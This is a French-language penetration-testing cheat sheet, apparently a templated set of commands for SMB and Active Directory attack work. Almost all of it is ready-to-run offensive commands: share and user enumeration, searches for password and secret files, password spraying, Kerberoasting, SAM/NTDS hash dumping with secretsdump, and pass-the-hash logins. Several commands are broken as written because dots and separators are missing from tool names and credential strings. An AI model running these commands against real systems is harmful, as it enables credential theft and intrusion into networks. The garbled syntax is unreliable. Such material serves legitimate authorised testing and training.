Enumération SMB

# Enumération complète (users, shares, groups, policies)
enum4linux-ng -A {{TARGET}} -oA {{OUTPUT_DIR}}/smb-enum
# Avec credentials
enum4linux-ng -A {{TARGET}} -u {{DOMAIN}}/guest -oA {{OUTPUT_DIR}}/smb-auth

# Lister les partages (anonyme)
smbclient -L //{{TARGET}} -N
# Lister avec credentials
smbclient -L //{{TARGET}} -U {{DOMAIN}}{{USER}}{{PASSWORD}}
# Se connecter à un partage
smbclient //{{TARGET}}/SYSVOL -U {{DOMAIN}}{{USER}}{{PASSWORD}}
# Commandes utiles dans smbclient :
# ls         — liste les fichiers
# get file   — télécharger un fichier
# put file   — uploader un fichier
# recurse ON; prompt OFF; mget * — télécharger tout

# Enumération des partages
cme smb {{TARGET}} -u {{USER}} -p {{PASSWORD}} -d {{DOMAIN}} --shares
# Enumération des utilisateurs
cme smb {{TARGET}} -u {{USER}} -p {{PASSWORD}} -d {{DOMAIN}} --users
# Enumération des groupes
cme smb {{TARGET}} -u {{USER}} -p {{PASSWORD}} -d {{DOMAIN}} --groups
# Sessions actives
cme smb {{TARGET}} -u {{USER}} -p {{PASSWORD}} -d {{DOMAIN}} --sessions
# Politique de mot de passe
cme smb {{TARGET}} -u {{USER}} -p {{PASSWORD}} -d {{DOMAIN}} --pass-pol
# Spray de passwords (ATTENTION : risque de lockout)
cme smb {{TARGET}} -u userstxt -p 'Password123!' -d {{DOMAIN}} --continue-on-success

# Mapping des permissions
smbmap -H {{TARGET}} -u {{USER}} -p {{PASSWORD}} -d {{DOMAIN}}
# Recursive listing
smbmap -H {{TARGET}} -u {{USER}} -p {{PASSWORD}} -d {{DOMAIN}} -R
# Recherche de fichiers sensibles
smbmap -H {{TARGET}} -u {{USER}} -p {{PASSWORD}} -d {{DOMAIN}} -R -A "\.txt|\.conf|\.ini|password|secret"

# Lister les SPN (Kerberoasting)
GetUserSPNspy {{DOMAIN}}{{USER}}{{PASSWORD}} -dc-ip {{TARGET}} -request -outputfile {{OUTPUT_DIR}}/spns.txt
# Utilisateurs AD
GetADUserspy {{DOMAIN}}{{USER}}{{PASSWORD}} -dc-ip {{TARGET}} -all
# Dump SAM/NTDS (si admin)
secretsdumppy {{DOMAIN}}{{USER}}{{PASSWORD}}{{TARGET}} -outputfile {{OUTPUT_DIR}}/hashes
# Pass-the-hash
smbclient //{{TARGET}}/C -U {{DOMAIN}}{{USER}} --pw-nt-hash NTLMHASH